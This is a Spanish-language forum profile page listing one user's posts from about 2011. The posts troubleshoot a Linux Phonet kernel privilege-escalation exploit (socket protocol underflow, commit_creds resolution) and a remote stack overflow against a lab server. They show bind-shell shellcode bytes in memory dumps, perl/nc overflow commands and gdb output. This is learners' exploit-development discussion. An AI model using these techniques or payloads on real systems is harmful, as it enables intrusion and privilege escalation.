Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - M3st4ng

#11
Hola!

Gracias por contestar! A lo que realmente me refiero es que, sé dónde están los ".h" (por decirlo de alguna manera qué implementa la clase) pero no sé dónde se encuentran los ".c" (la implementación de las funciones de la clase).
Es decir, lo que quiero saber es dónde está el ".c" que corresponde al header "sys/socket.h" (por ejemplor)
Salu2
#12
Hola,

Sé que esta será una pregunta muy chorra para vosotros, pero ¿dónde se encuentran las implementaciones de los ".h" que incluye linux? Por ejemplo, yo tengo un código en C donde se incluye el ficheros "sys/socket.h" ¿dóndo se encuentra su implementación?

Perdonad mi ignorancia.
Salu2
#13
Hola Ivanchuk!!!

Gracias por toda la info que estás  posteando.
Bueno primero te comento la prueba:
He compilado el código que me has pasado y he hecho la prueba... ha fracado...
Ahora bien, estoy aún intentando entender lo que dices... perdona mi ignorancia pero me he perdido un pelín (para eso estoy aprendiendo).
Citarproto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente.

Me imagino que esto que comentas lo estarás mirando en el /proc/kallsyms no¿?
Perdona si no te contesto con rapidez, casi no tengo tiempo para mirar el foro y hemos para probar.

Muchas gracias
#14
Hola!!

En mis fuentes esta igual, pero a mi no me funciona (ya postee anteriormente). Dejo aqui el codigo de mi source:

static struct phonet_protocol *phonet_proto_get(int protocol)
{
        struct phonet_protocol *pp;

        if (protocol >= PHONET_NPROTO)
                return NULL;

        rcu_read_lock();
        pp = rcu_dereference(proto_tab[protocol]);
        if (pp && !try_module_get(pp->prot->owner))
                pp = NULL;
        rcu_read_unlock();

        return pp;
}
#15
Hola!!!

Estaba probando este exploit y a mi no me ha funcionado:


[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[+] Resolved proto_tab to 0xf8133fa8
[+] Resolved pn_proto to 0xf8133e00
[+] Resolved pn_proto to 0xf8133e00
[+] Resolved commit_creds to 0xc016eb60
[+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.


He estado intentando entender cómo funciona y qué es lo que hace y no me queda del todo claro.
Entiendo que te copias en memoria una serie de estructuras con las funciones mmap y memcpy. Pero a partir de aqui ya me pierdo
proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }


De hecho a mi lo que me falla es la creación del socket, ¿por qué se le pasa como protocolo (proto) un -70 (proto = -((proto_tab - low_kern_sym) / sizeof(void *)) al socket?

Gracias de antemano
#16
Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ?
22 Febrero 2011, 00:21 AM
Hola!!

El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS.
La función que yo uso es esta:

unsigned  get_esp(void)
{
  __asm__("movl %esp, %eax");

}


Con respecto al BOF remoto, mañana volvere a intentar otra cosa.

Salu2!!
#17
Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ?
21 Febrero 2011, 22:37 PM
Hola!

Pues a mi me sigue cascando. La shellcode que uso esta bien porque la he probado en local y funciona perfectamente. No entiendo por qué narices se me modifica la shellcode.....
#18
Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ?
20 Febrero 2011, 21:47 PM
Hola!

He estado todo el finde fuera y no me ha dado tiempo a mirar mucho. Lo que sí he hecho es reproducir el problema que tú tienes, parece que la shellcode se jode  por algún motivo que aún no he descubierto.
A priori todo el copiado del buffer lo hace bien:



0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0xe1895652
0xbffff1e0: 0x6a9380cd 0x3fb05902 0x794980cd 0x520bb0f9
0xbffff1f0: 0x732f2f68 0x622f6868 0xe3896e69 0x53e28952
0xbffff200: 0x80cde189 0xbffff678 0xbffff1a0


Luego da un execepción y veo que la pila se ha modificado justo donde tengo la shellcode:

0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0x00000000
0xbffff1e0: 0x00000000 0x00000007 0x00000004 0x00000007
0xbffff1f0: 0xbffff1f8 0x00000010 0x697a0002 0x00000000
0xbffff200: 0x00000002 0x00000001 0x00000000 0xbffff200


Como se puede ver el EIP esta intentando ejecutar la instrucción que esta en la dir 0xbffff1dd. En esa dir habia código de nuestra shellcode que ha sido modificada.

Program received signal SIGSEGV, Segmentation fault.
0xbffff1dd in ?? ()
(gdb) info r
eax            0x66 102
ecx            0xbffff1e4 -1073745436
edx            0x0 0
ebx            0x5 5
esp            0xbffff1dc 0xbffff1dc
ebp            0xbffff678 0xbffff678
esi            0x7 7
edi            0x0 0
eip            0xbffff1dd 0xbffff1dd
eflags         0x10206 [ PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51


Seguirí investigando
#19
Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ?
18 Febrero 2011, 21:40 PM
Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Saludos
#20
Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ?
18 Febrero 2011, 21:07 PM
Hola!

He probado tu código con una shellcode que tenia yo y me ha funcionado:

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25
18/02/2011 20:49:25   Starting up...

18/02/2011 20:49:29   Got connection from 127.0.0.1:33672
18/02/2011 20:49:29   RECV 112 bytes: ��������������������������������������������������������^�1��F�F
                                                                                                       �
                                                                                                        ����V
                                                                                                             1ۉ�@̀�����/bin/sh�����������
process 3640 is executing new program: /bin/dash


Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104:


$ perl -e 'print "A"x108' | nc -vv localhost 16005

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:53:00
18/02/2011 20:53:00   Starting up...

18/02/2011 20:53:16   Got connection from 127.0.0.1:54045
18/02/2011 20:53:16   RECV 108 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()


Con 108 no llego a sobreescribir pero con 109 si:


$ perl -e 'print "A"x109' | nc -vv localhost 16005

Starting program: /home/javi/programacion/pruebas/BOF_remoto/a.out 16005
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:58:36
18/02/2011 20:58:36   Starting up...

18/02/2011 20:58:43   Got connection from 127.0.0.1:39784
18/02/2011 20:58:43   RECV 109 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode.